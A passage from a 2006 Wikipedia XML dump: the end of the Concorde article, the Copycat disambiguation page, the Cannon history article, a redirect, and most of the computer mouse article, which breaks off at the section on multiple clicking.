*''[[The Bonfire of the Vanities]]'': Maria Ruskin ([[Melanie Griffith]]) arrives in New York on an [[Air France]] Concorde.  The film's Second Unit Director, Eric Schwab, went to considerable effort to calculate the exact time and day when a runway at JFK would line up exactly with the setting sun, to serve as a spectacular backdrop for the landing Concorde.
*''[[Superman II]]'': Superman flies past concorde on the way to Paris, France to save Lois Lane who is stuck under an elevator plunging from the top of the Eiffel Tower with a hydrogen bomb in the elevator

==See also==
*[[Boeing 2707]]
*[[Tupolev Tu-144]]
*[[Supersonic transport]]
*[[Hypersonic|Hypersonic transport]]
*[[UK topics]]
*[[G-BBDG]]

==External links==
{{commons|Concorde}}
* [http://www.concordesst.com &quot;Concorde SST&quot; fan site]
* [http://www.concorde-jet.com &quot;Concorde Jet&quot; fan site]
* [http://www.technik-museum.de/ Auto &amp; Technik Museum Sinsheim] (in German; has streaming video)
* [http://news.bbc.co.uk/1/hi/in_depth/uk/2003/concorde_retirement/default.stm &quot;Farewell to Concorde&quot;] (BBC)
* [http://perso.wanadoo.fr/taxiway.fr/gb/concorde.htm Guided tour of Concorde in Toulouse]
* [http://www.intrepidmuseum.org/visitinfo_webcam.html NYC Intrepid Museum webcam]
* [http://www.imdb.com/title/tt0078740/ ''Airport 79: The Concorde''] (Internet Movie Database entry)
* [http://www.imdb.com/title/tt0078989/ ''Concorde Affaire ''] (Internet Movie Database entry)
* [http://www.aircraft-info.net/aircraft/jet_aircraft/aerospatiale/concorde/ Aircraft-Info.net - Concorde]
* [http://y2u.co.uk/&amp;002_Images/Concorde%2001.htm Concorde on display at Manchester Airport - UK]
* [http://www.nms.ac.uk/concorde National Museums of Scotland: Concorde at the Museum of Flight]
* [http://flyawaysimulation.com/article508.html Concorde SST Tribute]
* [http://www.darsys.com/concorde.html Concorde Tribute Page]
* [http://www.darsys.com/cweb Detailed Passenger Experience w/photos]
* [http://www.ba001.com BA001 Trip Report &amp; Concorde fan page]
* [http://www.britishairways.com/travel/concvidwm/public/en_gb Take off and landing video clips from the final flights] (BA)
* [http://www.elettra.co.uk/concorde/ Concorde appreciation web site]
* [http://www.infoplease.com/spot/concorde.html Concorde Profile ]
* [http://www.concordecollectables.com Concorde Gifts and Memorabilia. Original Concorde Aircraft Parts]
* [http://forscene.net/sc1/published/ny1-1113694002.mon/index.html 2003 Amateur Video] (Unscheduled stop at Gander due to unusually hot weather enroute to New York)
{{airlistbox}}

[[Category:International airliners 1960-1969]]
[[Category:Supersonic transports]]
[[Category:Delta-wing aircraft]]

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[[zh:协和飞机]]</text>
    </revision>
  </page>
  <page>
    <title>Copycat</title>
    <id>7046</id>
    <revision>
      <id>42007498</id>
      <timestamp>2006-03-03T04:36:30Z</timestamp>
      <contributor>
        <username>Midusunknown</username>
        <id>901621</id>
      </contributor>
      <minor />
      <comment>DV8's copycat</comment>
      <text xml:space="preserve">The term '''''copycat''''' (also written as '''''copy-cat''''' or '''''copy cat''''') refers to the tendency of humans to duplicate the [[behavior]] of others, as expressed in the saying, &quot;[[monkey]] see, monkey do.&quot;  

This notably happens in the case of &quot;copycat crimes&quot;, where a notorious or unusual crime inspires a wave of similar activity; this can happen with crimes ranging from [[shoplifting]] of particular items and [[graffiti]], up to [[copycat suicide]]s and [[murder]]s. The term is used both for the act and for the person. It is often used in the derogatory sense, meaning a [[plagiarism|plagiarist]]. The &quot;[[copycat effect]]&quot; refers to the tendency of sensational publicity about a violent murder or suicide to cause more of the same. 

The expression may have originated from observing the habits of [[kitten]]s that learned by imitating the behaviors of their mother. Copycat has been in recorded use since at least [[1896 in literature|1896]], in [[Sarah Orne Jewett|Sarah Orne Jewett's]] &quot;[[The Country of Pointed Firs]]&quot; but the expression could be many decades older.

*'''[[Copycat (movie)|Copycat]]''' is also the name of a 1995 thriller starring [[Sigourney Weaver]] about a serial murderer in San Franscico whose [[modus operandi|MO]] is to copy the killings of high profile killers.
*'''CopyCat''' is also an alternative &quot;full name&quot; for [[CC (cat)]], a [[Cloning|cloned]] cat created in 2001.
*'''[[Copycat (software)|Copycat]]''' is also a computer model of analogy-making, developed by [[Douglas Hofstadter]] and  [[Melanie Mitchell]].
*The '''Copycats''' are a villainous musical band of [[anthropomorphic]] cats in the cartoon [[Kidd Video]].
*'''Copycat''' is also the name of a character of the Marvel Universe. A mutant, whose ability was to duplicate the form of any person nearby. [[Copycat (comics)|Copycat]] was later killed by [[Sabretooth (comics)|Sabretooth]].
*'''[[Copycat (Wildstorm)|Copycat]]''' is also the name of a character of the [[Wildstorm Comics|Wildstorm Universe]]. She is a genetically enhanced member of the super team [[DV8]].
*'''Copycat''' is also the nickname of a very minor character in the [[Pokémon Red and Blue|Pokémon Red/Blue]]/[[Pokémon Yellow|Yellow]] games in [[Saffron City]]. Giving her a PokéDoll will make her happy enough to give you TM 31, Mimic, which makes the user copy one enemy attack.
*The [[Copycat effect]] is where reporting on a tragic event causes others to perform similar behaviour.
*'''Copycat''' is the name of a [[Java]] sketchpad that records writing and speaking, see [https://copycat.dev.java.net/ Copycat]
==See also==
*[[Meme]]

{{disambig}}

[[Category:Popular psychology]]</text>
    </revision>
  </page>
  <page>
    <title>Cannon</title>
    <id>7053</id>
    <revision>
      <id>41275145</id>
      <timestamp>2006-02-26T05:46:29Z</timestamp>
      <contributor>
        <username>Dhp1080</username>
        <id>884053</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.253.26.200|24.253.26.200]] to last version by Marian Gladis</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Cannon_pic.jpg|thumb|right|300px|A small cast-iron cannon on a carriage]]
A '''cannon''' is any large tubular [[firearm]] designed to fire a heavy [[projectile]] over a considerable distance. The term can apply to a modern day [[rifled]] [[machine gun]] with a [[calibre]] of 20 mm or more (see [[autocannon]]).

'''Cannon''' also refers to a large, smooth-bored, [[muzzle-loading]] [[gun]] used before the advent of [[breech-loading]], [[rifled]] guns firing explosive [[shell (projectile)|shell]]s.

&quot;Cannon&quot; derives from the Latin ''canna'' (a tube). ''Bombard'' was earlier used for &quot;cannon&quot;, but from the early 15th century came to refer only to the largest weapons. &quot;Cannon&quot; can serve both as the singular and plural of the noun.

==History==
[[Image:Tir.jpg|thumb|Firing of a naval 18-pounder gun]]
The oldest evidence for the use of cannon is a relief carved by Buddhist monks in China in 1128, where a cannon is portrayed among other weapons of war. In the West, the use of cannon was first recorded in the battles of the early 14th century, for instance, at the siege of [[Metz]] in 1324, and by the English against the Scots in 1327. The earliest listing of firearms in an army inventory is in 1326. The new weapon's popularity is indicated by cannon being regarded &quot;as common and familiar as any weapon&quot; by 1350. The first cannon were of two types, small guns of cast [[bronze]] or larger, banded wrought [[iron]] cannon. Developments in [[gunpowder]] in the 1400s helped speed the military adoption of cannon. The actual effectiveness of these early weapons is not clear; battle reports of the time tend to exaggerate. However, it is undeniable that regardless of their (probably feeble) physical impact, early cannon, with their noise, smoke, and flames, had a terrifying [[psychological]] impact on horses or soldiers who had never encountered the weapons before.

Early cannon did not always fire spherical projectiles. For smaller cannon, arrow-like rounds were used in the 14th century, sometimes with brass fin-stabilisers or inflammable heads. Initially, round shot was made of iron but was soon replaced by stone balls, particularly for larger pieces, due to the cost of metals in the 14th and 15th centuries. The round shot were sometimes covered in [[lead]] to reduce [[windage]]. For [[anti-personnel]] use, massed lead pellets were quickly adopted, but ''in extremis'' any small stones, nails, or iron scraps would be used as &quot;hailshot&quot;.

The introduction of wheeled carriages for cannon did not occur until the 15th century. Prior to then the weapons were mounted on sturdy wooden frames. The largest siege bombards would be strapped down to large timber baulks on earthwork platforms and aimed either with the initial [[weapons platform|platform]] or by hammering wedges under the front. Timber props supporting thick wooden planks were positioned to absorb the [[recoil]].

[[Image:Grand Turk(28).jpg|thumb|right|250px|Cast-iron muzzle-loading ship's cannon aboard the [[Grand Turk (frigate)|Grand Turk]]]]
In the 16th century the &quot;Great Guns&quot; were classified according to size, with such names as &quot;[[Tsar Cannon|cannon royal]]&quot;, &quot;[[demi-cannon]]&quot;, &quot;[[culverin]]&quot;, &quot;[[demi-culverin]]&quot;, &quot;falcon&quot;, &quot;falconer&quot;, &quot;minion&quot; etc., but by the 18th century they were classified by the weight of the round shot that they fired. Thus the demi-cannon was described as a 32-pounder (15 kg). Smaller guns included the 18-pound (8 kg) culverin, 12-pounders (5 kg), 9 pounders (4 kg) and 6-pounders (3 kg). The gun barrel was mounted on a wheeled carriage balanced on two &quot;trunnions&quot;, the short metal projections on either side of the barrel  invented by  an unknown Dutchman. The angle of elevation could be altered by moving a wooden wedge under the rear end of the gun.  

[[Shotguns]] were developed as essentially small cannon, having been first named in [[Kentucky]] in the 18th Century;  their size, expressed in [[Gauge (bore diameter) | gauge]], is expressed in the fraction of a pound that a round shot of a diameter equal to their barrel bore diameter would be.  Hence, a 12 gauge shotgun has a bore that is equivalent in diameter to a round shot of lead weighing one-twelfth of a pound.  See [[gauge (bore diameter)]].

The early big guns were built up from strips of wrought iron, heated until they glowed yellow, and then hammered together to weld them and form the barrel. Rings of iron were forced over the barrel to reinforce it. Smaller guns were cast in [[brass]] or bronze, using techniques used for centuries to produce statues. In the 16th century the Dutch developed [[cast iron]] cannon. In addition to the obvious implications for land-based artillery, the lighter weight of cast-iron cannon rendered shipboard artillery far more efficient and cost-effective.  Cast-iron technology spread to England in [[1543]], where it grew to become a key element in the British rise to naval supremacy.

In the 18th and early 19th centuries, cannon occupied several roles. On the battlefield they were like modern-day machine guns, used to &quot;thin out&quot; an advancing group of the enemy. In a siege, larger cannon and mortars were used more like conventional artillery or medieval siege weapons, to knock holes in the defences.

In [[1823]], the first cannon using explosive [[Shell (projectile)|shells]] were invented by the French General [[Henri-Joseph Paixhans]]. These cannon, combining explosive power with a flat trajectory, were adopted by various Navies from the 1840s, thereby triggering the demise of wooden ships, and the iron hull revolution in boat building.

[[Image:DahlgrenCannon.jpg|thumb|200px|A [[Rodman gun|Rodman cannon]]&amp;mdash;a successor to the similarly bottle-shaped [[John A. Dahlgren|Dahlgren cannon]]]]
The development of the smooth bore muzzle-loaded cannon culminated in the inventions of [[John A. Dahlgren]], the admiral who designed the heavy, cast-iron cannon fired from Union ships in the [[American Civil War]]. In [[1862]] John Gilleland invented a [[double-barreled cannon]], which turned out to be a spectacular failure. The military use of cannon declined in the mid-19th century as fabrication technology improved enough to enable the rifling of gun barrels (which in turn required the introduction of breech loading, followed by a brief return to muzzle-loading) and the use of the far more destructive explosive shells.

During the [[nineteenth century]], artillery technology advanced at a very rapid rate, ensuring that by the beginning of the [[twentieth century]], modern armies in Europe, America, and Japan were equipped with lethally accurate cannon. Artillery came to dominate the [[First World War]], with approximately 7 million of the estimated 10 million worldwide casualties being caused by artillery shells. Artillery forced armies to construct elaborate [[trench]] systems, which became the enduring image of the war. During the [[World War II|Second World War]], artillery became less important as battles had become highly mobilised, with [[bomber]] aircraft taking over the role of long-range cannon. Cannon in fortified positions, such as the [[Maginot Line]] and the [[Atlantic Wall]], were increasingly unable to protect areas from infantry and tank attacks. The German &quot;[[Big Bertha]]&quot; guns, capable of firing shells from Occupied France across the English Channel, were technologically unsuitable as the cannon's rifling would too quickly wear away. The [[V-3 cannon|High-pressure gun]], designed by German engineers to bombard London, was a spectacular failure.

== In Popular Culture ==

In cases of emergency, ersatz cannon have been fashioned from as sewer pipes and hollow tree trunks, anecdotally even from [[alligator]] carcasses, as described in the historical ballad, ''[[Battle of New Orleans (song) |The Battle of New Orleans]]''.

==Projectiles fired from cannon==
[[Image:Cannon diagram.PNG|right|frame|Essential parts of a cannon: 1. the [[projectile]], or cannonball   2. [[gunpowder]] 3. hole in which the [[Fuse (explosives)|fuse]] is inserted]]
; '''Round shot''' : A solid projectile made, in early times, from dressed stone but, by the [[17th century]], from iron.  The most accurate projectile that could be fired by a smooth-bore cannon, used to batter the wooden hulls of opposing ships, forts, or fixed emplacements, and as a long-range anti-personnel weapon.
; '''Chain shot''' or '''bar shot''' : Two sub-calibre round shot (a good deal smaller than the bore of the barrel) linked by a length of chain or a solid bar, and used to slash through the [[rigging]] and sails of an enemy ship so that it could no longer manoeuvre. It was inaccurate and only used at close range.
; '''[[Canister shot]]''' (or '''case shot''') : An anti-personnel weapon which included several small round shot or [[lead]] [[musket]] [[bullet]]s in a metal can, which broke up when fired, scattering the shot throughout the enemy personnel, like a large [[shotgun]].
; '''[[Shell (projectile)|Shell]]''' : An anti-personnel weapon, similar to canister shot, but with a can that was much more robust and which also contained a [[fuse (explosives)|fused]] [[explosive]] charge, trimmed to explode above the heads of the enemy, spreading shot and can fragments in the form of [[shrapnel]] over the enemy.  First used in the [[16th century]] as a [[siege weapon]] fired from [[mortar (weapon)|mortars]], and later as a battlefield weapon.
; '''[[Grapeshot]]''' : An anti-personnel weapon, similar to canister shot, but with the shot being contained in a [[canvas]] bag, and generally of a smaller calibre.
; '''Carcass''' : An incendiary/antipersonnel projectile designed to burn fiercely and produce poisonous fumes. It was constructed of an iron frame bound with [[sack cloth]] and filled with various ingredients such as [[Pitch (resin)|pitch]], [[antimony]], [[sulphur]], [[saltpeter]], [[tallow]] and venetian [[turpentine]]. It was ignited by the cannon's propellant charge, bursting on impact with the target and releasing noxious fumes while setting fire to its surroundings. It was effectively an early [[chemical weapon]] as well as an [[incendiary]] and [[area denial weapon]].
; '''Heated shot''' : A process where the cannonball is heated and when shot the cannonball could bounce over water and damage a ship.

[[Image:CannonWithSmoke.jpg|thumb|left|250px|Cannon in a Civil War [[Historical reenactment|re-enactment]]: The large amounts of gunpowder often affected visibility significantly. Gunners hope for a strong wind that will allow them to continue to see their target.]]

== Modern cannon ==

A modern artillery piece is generally referred to either as a &quot;gun&quot;, or by the name of its specific type, such as a [[Howitzer]].  

Since [[World War II]] the term ''cannon'' is used to refer to a gun of around 20 mm to 125 mm calibre, sometimes with an automatic loading [[Firearm action |action]] capable of firing explosive [[ammunition]], an ''[[auto-cannon]]''.

The minimum calibre of a cannon, 20 mm, has been a ''[[de facto]]'' standard since [[World War II|WWII]], when heavy machine guns of 12.7 mm (0.5&quot;) and 13.2 mm calibre were used side by side with 20 mm and larger guns, the latter using explosive ammunition, e.g., [[Royal Air Force|RAF]] fighters with 20 mm Hispano cannon and [[Luftwaffe]] with 20 mm and [[30 mm caliber|30 mm]] cannon. The [[Bofors 40 mm gun]] and [[Oerlikon 20 mm cannon]] are two examples largely used during the Second World War, and still in usage today.

Most nations use these modern (auto-) cannon on their lighter vehicles. Typical of the type is the [[25 mm caliber|25 mm]] [[M242|'Bushmaster']] cannon mounted on the LAV and [[M2 Bradley|Bradley]] [[Infantry fighting vehicle|armoured vehicles]].

A cannon generally refers to a high velocity, low trajectory, direct fire weapon such as the main gun on most modern main battle tanks.

A howitzer generally refers to a weapon using a lower velocity than a cannon, which fires on a higher trajectory, and provides indirect fire.

These are both differentiated from a [[mortar (weapon)|mortar]], which fires a low velocity (by comparison) round at very high trajectory at much more limited range.

In [[slang]] usage, ''cannon'', or sometimes ''hand-cannon'', refers a very large handgun, especially those with a calibre over 0.357&quot;.

==Reference== [[Image:Tsar-Pushka.jpg|thumb|[[Tsar Cannon]], the largest ever made, by [[Andrey Chokhov]].]]
* ''The World's Great Artillery'' (2002), Hans Halberstadt. ISBN 0760733031

== See also ==
* [[Electrothermal-chemical technology]]
* [[Artillery]]
* [[Gunpowder]]
* [[Spud gun]]

==Patents==
* {{US patent|5236}} -- ''Casting ordnance''
* {{US patent|6612}} -- ''Cannon''
* {{US patent|13851}} -- ''Muzzle loading ordnance''

[[Image:Delo.jpg|thumb|left|250px|A historic cannon, The [[East Slovak Museum]] in [[Košice]]]]

{{commons|Cannon}}

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[[vi:Sơn pháo]]</text>
    </revision>
  </page>
  <page>
    <title>Cherniahovsk</title>
    <id>7055</id>
    <revision>
      <id>15905149</id>
      <timestamp>2002-05-04T00:59:22Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#redirect [[Chernyakhovsk]]
</text>
    </revision>
  </page>
  <page>
    <title>Mouse (computing)</title>
    <id>7056</id>
    <revision>
      <id>41815799</id>
      <timestamp>2006-03-01T22:57:21Z</timestamp>
      <contributor>
        <username>PseudoSudo</username>
        <id>825566</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.52.130.139|203.52.130.139]] ([[User_talk:203.52.130.139|talk]]) to last version by Discospinster</comment>
      <text xml:space="preserve">[[Image:Mouse-mechanism-cutaway.png|thumb|300px|'''Operating a mechanical mouse. ''' &lt;br&gt;'''1:''' Moving the mouse turns the ball.&lt;br&gt;'''2:''' X and Y rollers grip the ball and transfer movement.&lt;br&gt;'''3:''' Optical encoding disks include light holes.&lt;br&gt;'''4:''' Infrared [[Light-emitting diode|LED]]s shine through the disks.&lt;br&gt;
'''5:''' Sensors gather light pulses to convert to X and Y velocities.]]
[[Image:First_Computer_Mouse_pic_2.jpg|thumb|300px|right|The first computer mouse]]
A '''mouse''' is a handheld [[pointing device]] for [[computer]]s, being a small object fitted with one or more buttons and shaped to sit naturally under the hand.  The underside of the mouse houses a device that detects the mouse's motion relative to the flat surface on which it moves. The mouse's 2D motion is typically translated into the motion of a [[Cursor (computers)|pointer]] on the [[computer display|display]].

It is called a mouse primarily because the cord on early models resembled the rodent's tail, and also because the motion of the pointer on the screen can be mouse-like.

==Mice==
 
===Early mice===
[[Image:firstmouseunderside.jpg|frame|right|300px|The first computer mouse, held by inventor [[Douglas Engelbart]], showing the wheels that contact the working surface.]]
The mouse was invented by [[Douglas Engelbart]] of [[Stanford Research Institute]] in [[1963]] after extensive [[usability testing]]. It was also called the bug, but eventually this was dropped in favor of mouse. It was one of several experimental pointing devices developed for Engelbart's oN-Line System ([[NLS (computer system)|NLS]]), which was both a hardware and software system. The other devices were designed to exploit other body movements&amp;mdash;for example, head-mounted devices attached to the chin or nose&amp;mdash;but ultimately, the mouse won out because of its simplicity and convenience.

The first mouse was bulky and used two gear wheels perpendicular to each other: the rotation of each wheel was translated into motion along one [[Coordinate_axis|axis]] in the plane. Engelbart received [[patent]] US3541541 on [[November 17]], [[1970]] for an ''&quot;X-Y Position Indicator For A Display System&quot;''. At the time, Engelbart intended that users would hold the mouse continuously in one hand and type on a five-key [[chord keyset]] with the other.

===Mechanical mice===

A later variation on the mouse, invented in the early [[1970]]s by [[Bill English (computer engineer)|Bill English]] at [[Xerox PARC]], replaced the external wheels with a single ball that could rotate in any direction. The ball's motion, in turn, was detected using perpendicular wheels housed inside the mouse's body. This variant of the mouse resembled an inverted [[trackball]] and was the predominant form used with [[personal computer]]s throughout the [[1980s]] and [[1990s]]. The Xerox PARC group also settled on the modern technique of using both hands to type on a full-size QWERTY keyboard and grabbing the mouse as needed.

Modern computer mice took form at the [[École polytechnique fédérale de Lausanne]] (EPFL) under the inspiration of Professor [[Jean-Daniel Nicoud]] and the hands of [[engineer]] and [[watchmaker]] [[André Guignard]]. A spin-off of EPFL, [[Logitech]], launched the first popular mice.

The major movement translation techniques are by optical, mechanical and inertial sensors.

===Optical mice===
[[Image:Mouse-patents-englebart-rid.png|thumb|300px|right|Early mouse patents. (left to right) Opposing track wheels by ''Englebart'', 11/70, [http://www.freepatentsonline.com/image-3541541-1.html 3541541]. Ball and wheel by ''Rider'', 9/74, [http://www.freepatentsonline.com/3835464.htm 3835464]. Ball and two rollers with spring by ''Opocentsky'', 10/76, [http://www.freepatentsonline.com/3987685.html 3987685].]] 
[[Image:Opto_mouse_sensor.jpg|thumb|300px|right|The optical sensor from a Microsoft Wireless IntelliMouse Explorer 1.0A.]]
Whereas a mechanical mouse uses a ball and wheels to detect the movement of the mouse, an optical mouse uses a [[light emitting diode]] and [[photodiode]]s to detect the movement of the [[mouse pad]]. 

Early optical mice, such as those invented by [[Steve Kirsch]] of [[Mouse Systems Corporation]], could be used only on a special metallic-surface ([[mouse pad]]) printed with a grid of fine blue and grey lines. As computing power grew cheaper, it became possible to embed more powerful special-purpose [[image processing]] [[integrated circuit|chips]] in the mouse. This advance enabled the mouse to detect the relative motion of the mouse on a wide variety of surfaces, in turn translating the movement of the mouse over the surface into the movement of the pointer, eliminating the need for a special mouse pad. This advance paved the way for widespread adoption of optical mice.  

Modern surface-independent optical mice work by using an [[optoelectronic|optical]] [[sensor]] to take successive pictures of the surface the mouse is operating on. Most of these mice use LEDs to illuminate the surface that is being tracked; LED optical mice are often mislabeled as &quot;Laser Mice&quot;, probably because a red LED is used in almost all optical mice, and the laser color many people are most familiar with is red. Changes between one frame and the next are processed by the [[image processing]] part of the [[integrated circuit|chip]] and translated into movement on the two [[Coordinate axis|axes]]. For example, the Agilent Technologies ADNS-2610 optical mouse sensor processes 1512 frames per second: each frame is a rectangular array of 18*18 [[pixels]], and each pixel can sense 64 different levels of gray.

Optomechanical mice detect movements of the ball optically, giving the precision of optical without the surface compatibility problems, whereas optical mice detect (relative) movement of the surface by examining the light reflected off it.

====Laser mice====
[[image:computer.mouse.750pix.jpg|thumb|right|300px|Two wireless computer mice with scroll wheels]]
In [[2004]], [[Logitech]], along with [[Agilent Technologies]], introduced the [[laser]] mouse with its MX 1000 model.  This mouse uses a small laser instead of an LED.  The new technology can increase the detail of the image taken by the mouse. The companies claim that this leads to a 20x increase in the sensitivity to the surface features used for navigation compared to conventional optical mice (see [[interference]]). Gamers have complained that the MX 1000 does not respond immediately to movement after it is picked up, moved, and then put down on the mouse pad. Newer revisions of the mouse do not seem to suffer from this problem, which is a power-saving feature. (Almost all optical mice, laser or LED based, also implement this power-saving feature, except those intended for use in gaming, where a millisecond of delay is significant.) Since it is a wireless mouse, the engineers designed it to save as much power as possible. In order to do this, the mouse blinks the laser when in standby mode (8 seconds after the last motion). This function also increases the laser life.

As early as 1998, [[Sun Microsystems]] provided a laser mouse with their Sun SPARC Station servers and workstations.

====Optical versus mechanical mice====
[[Image:Optical_mouse_shining.jpg|thumb|300px|right|The Logitech iFeel optical mouse uses a red LED to project light onto the tracking surface.]]
Optical mice supporters claim they work better than mechanical mice, require no maintenance and last longer due to having fewer moving parts. Although cleaning of a broken mechanical mouse is very simple, optical mice do not normally require any maintenance other than removing lint that might collect under the light emitter.

Mechanical mice supporters point out that optical mice generally cannot track on glossy and transparent surfaces, including many commercial mouse pads, causing them to periodically &quot;spin&quot; uncontrollably during operation. Mice with less image processing power also have problems tracking extremely fast movement, though high-end mice track at 1 metre per second (40 inches per second) and faster. 

Mechanical mice boast lower power usage, so they may prove advantageous for use in wireless settings. A wireless mechanical mouse may draw an [[electrical current]] of 5 mA or less, whereas an optical mouse typically draws 25 mA to power an [[LED]] or [[laser diode]]. Older optical wireless mice can draw even more current. This can require frequent battery changes or recharges, making them unsuitable for continuous work.

Because optical mice move based on the image the LED reflects, their performance on multi-coloured mousepads is sometimes unreliable. However, they will outperform mechanical mice on uneven, slick, squishy, sticky or loose surfaces, and generally in mobile situations where mouse mats are not available.

===Inertial Mice===
Inertial mice are usually cordless to support their main feature of mobility. Movement in two or three axes is registered using a [[gyroscope]] for every axis supported. A switch is often used to activate the movement circuitry between use, allowing the user more freedom of movement without moving the pointer.

===Buttons=== 
In contrast to the motion-sensing mechanism, the mouse's buttons have changed little, varying mostly in shape, number, and placement. Engelbart's very first mouse had a single button; this was soon increased to three. Commercial mice usually have between one and three buttons, although in the late [[1990s]] some mice sprouted five or more.

Most popular are mice with two buttons. The most common purpose for the second button is to invoke a [[context menu|contextual menu]] in the computer's software user interface, which contains options specifically tailored to the interface element over which the mouse was positioned. This is used by the popular [[Microsoft Windows]] operating system in its default configuration, as well as many other operating systems. By default, the primary mouse button is located on the left hand side of the mouse, for the benefit of right handed users.

On systems with three-button mice, pressing the center button (a middle click) is often used as a convenience to map the action to a commonly used action, or a macro. In the [[X Window System]], middle clicking pastes the contents of the primary buffer at the pointer's position. Many two-button mice are configured to [[emulator|emulate]] a three-button mouse by clicking both the right and left buttons simultaneously. Middle-clicks are often used as a spare button in case a function is not allocated easily.

====Additional buttons====
Mice have been built with five or more buttons. Depending on the user's preferences, the extra buttons may allow forward and backward web navigation, scrolling through a browser's history, or other functions. As with similar features in [[Computer keyboard|keyboard]]s, however, these functions may not be supported by all software. The additional buttons are generally more useful in [[computer game]]s, where quick and easy access to a wide variety of functions (for example, weapon-switching in [[first-person shooter]]s) can be very beneficial. Because mouse buttons can be mapped to virtually any function, keystroke, application or switch, they can make working with such a mouse more efficient and easier to use.

[[Douglas Engelbart]]'s view of the optimal number of buttons was &quot;as many as possible&quot;. The prototype that popularised the idea of three buttons as standard had that number only because &quot;we couldn't find anywhere to fit any more switches&quot;.

===Wheels===
One major innovation in mouse buttons was the scroll wheel: a small wheel, with its axis parallel to the mousing surface, that can be rotated &quot;up&quot; or &quot;down&quot; to provide immediate one-dimensional input.  Usually, this input is translated into &quot;scrolling&quot; up or down within the currently selected [[window (computing)|window]]. This is especially helpful in navigating a long document. The scroll wheel can often be pressed straight down, replacing the third (center) button. Doing so often activates autoscrolling in the Windows operating system (if an application supports it). Some newer mouse models allow horizontal as well as vertical scrolling. Some designs make use of a &quot;rocker&quot; button instead of a wheel&amp;mdash;a pivoting button that can be pressed at the top or bottom, simulating up and down respectively. The wheel can also be used with some software applications to zoom in and out by holding down the [[Control key]] (Ctrl) on the keyboard and scrolling either up or down. Applications that include this functionality include [[Microsoft Word]], [[Internet Explorer]], [[Opera (web browser)|Opera]], and [[Mozilla Firefox]].

A more advanced form of the mouse wheel is the tilt-wheel, found on some of the higher-end Logitech and Microsoft mice. Tilt wheels are essentially conventional mouse wheels that have been modified with a pair of sensors articulated to the tilting mechanism. These sensors are mapped, by default, to horizontal scrolling.

In 2005, the [[Apple Computer|Apple]] [[Apple Mighty Mouse|Mighty Mouse]] introduced a third variety of built-in scrolling device. It contains a scroll ball, which is essentially a small [[trackball]] embedded in the upper surface of the mouse, and is used like a two-dimensional scroll wheel.

===3D Mice===

In the late 1990s, [[Kantek]] introduced the 3D RingMouse. This wireless mouse was worn on a ring around a finger, which enabled the thumb to access three buttons. The mouse was tracked in three dimensions by a base station. Despite a certain appeal, this mouse was discontinued because it did not provide sufficient resolution.

===Connectivity and communication protocols===
[[Image:Bluetooth Mouse.jpg|thumb|A [[Bluetooth]] mouse.]]
Like all input devices, mice need some connection to the host computer in order to transmit their input. Typical mice use a thin electrical cord plus a connector (e.g. [[RS-232C]], [[IBM Personal System/2|PS/2]], [[Apple Desktop Bus|ADB]] or [[Universal Serial Bus|USB]]) for this purpose. Cordless mice use wireless communication transmit data via [[infrared]], [[radio]], or [[Bluetooth]].

The format of the data transmitted by commonly availably mice has in the past varied between different manufacturers and also depends on the type of electrical interface used.

====PS/2 mouse protocol====
Starting with the introduction of the [[IBM PS/2]] personal computer series in [[1987]], mice for IBM compatibles became increasingly connected via a round 6-pin [[mini-DIN connector]]. The connector, pin assignment, and low-level serial format are the same as the one used by a PS/2 [[IBM PC keyboard|keyboard]]. For any motion, button press, or button release event, a PS/2 mouse sends over its bi-directional serial port a sequence of three bytes, with the following format:

{| class=&quot;wikitable&quot;
|- align=center
! ||D7||D6||D5||D4||D3||D2||D1||D0
|- align=center
!Byte 1
|YV||XV||YS||XS||1||MB||RB||LB
|- align=&quot;center&quot;
!Byte 2
|colspan=&quot;8&quot;|X movement
|- align=&quot;center&quot;
!Byte 3
|colspan=&quot;8&quot;|Y movement
|}

Here, XS and YS are the sign bits of the movement vectors, XV and YV indicate an overflow in the respective vector component, and LB, MB and RB indicate the status of the left, middle and right mouse button (1 = pressed). PS/2 mice also understand several commands for reset and self-test, switching between different operating modes, and changing the resolution of the reported motion vectors.

A Microsoft Intellimouse initially uses the same format for backwards compatibility. After the host sent a special command sequence, it switches to an extended format, where a fourth byte carries information about wheel movements and two more buttons.

====Apple Desktop Bus====
[[Image:Apple Macintosh Plus mouse.jpg|300px|thumb|right|Apple Macintosh Plus mice, 1986]]
In [[1986]] Apple first implemented the [[Apple Desktop Bus]] allowing up to 16 devices, including arbitrarily many mice, to be daisy-chained together. Featuring only a single data pin, the bus used a purely polled approach to computer/mouse communications and survived as the standard on mainstream models until [[1998]] when the [[iMac]] began a switch to [[USB]]. The [[Powerbook G4]] retained the Apple Desktop Bus for communication with its built in keyboard and trackpad until early [[2005]].

===Common button uses===
There are several methods of input using a mouse, aside from the most basic moving of the device to make the pointer move.  

A mouse click is the action of pressing (i.e. clicking) a button on a mouse in order to trigger an action, usually in the context of a graphical user interface (GUI) (pressing an onscreen &quot;button&quot; by clicking on it) or computer game (to fire a gun in a first-person shooter). The reason for the clicking noise made is due to the specific switch technology used nearly universally in computer mice. This switch is called a microswitch, or cherry switch, and uses a stiff but flexible metal strip that is bent to actuate the switch. The bending of the metal makes a snapping or clicking noise, in the same way as the safety button on the lids of vacuum packaged jars to indicate they have been opened. As to why the clicking sound is used, researchers have found that when pressing a button audible feedback, in addition to tactile feedback, gives a better response to the user.

====Single clicking====
This is the most common method of distinguishing mouse-based input. On single-button mice this involves using the mouse's one button. On multiple-button mice, it involves one of the buttons and is usually characterized by which button is pushed (e.g. left-clicking, right-clicking). See [[point-and-click]].

====Double-click====
A [[double-click (computing)|double-click]] occurs when the user presses the button twice in quick succession. This usually triggers an action separate from that of a single-click. For example, in the [[Macintosh Finder]] a user may single-click to select a file, and double-click to open that file.  Usability studies have found that the double-click can be confusing and hard to use&amp;mdash;for example, users with poor motor skills may not perform the second click soon enough after the first, causing the action to be registered as two single-clicks rather than a double-click. (Ironically, the double-click was introduced because the previous solution&amp;mdash;separate mouse buttons for separate actions&amp;mdash;was found to be confusing in user studies.) Most multiple-button mice allow setting one button to emit a double-click on a single press. Modern operating systems allow users to set the maximum interval in which the two clicks need to be made to register as a double-click.

====Multiple clicking====
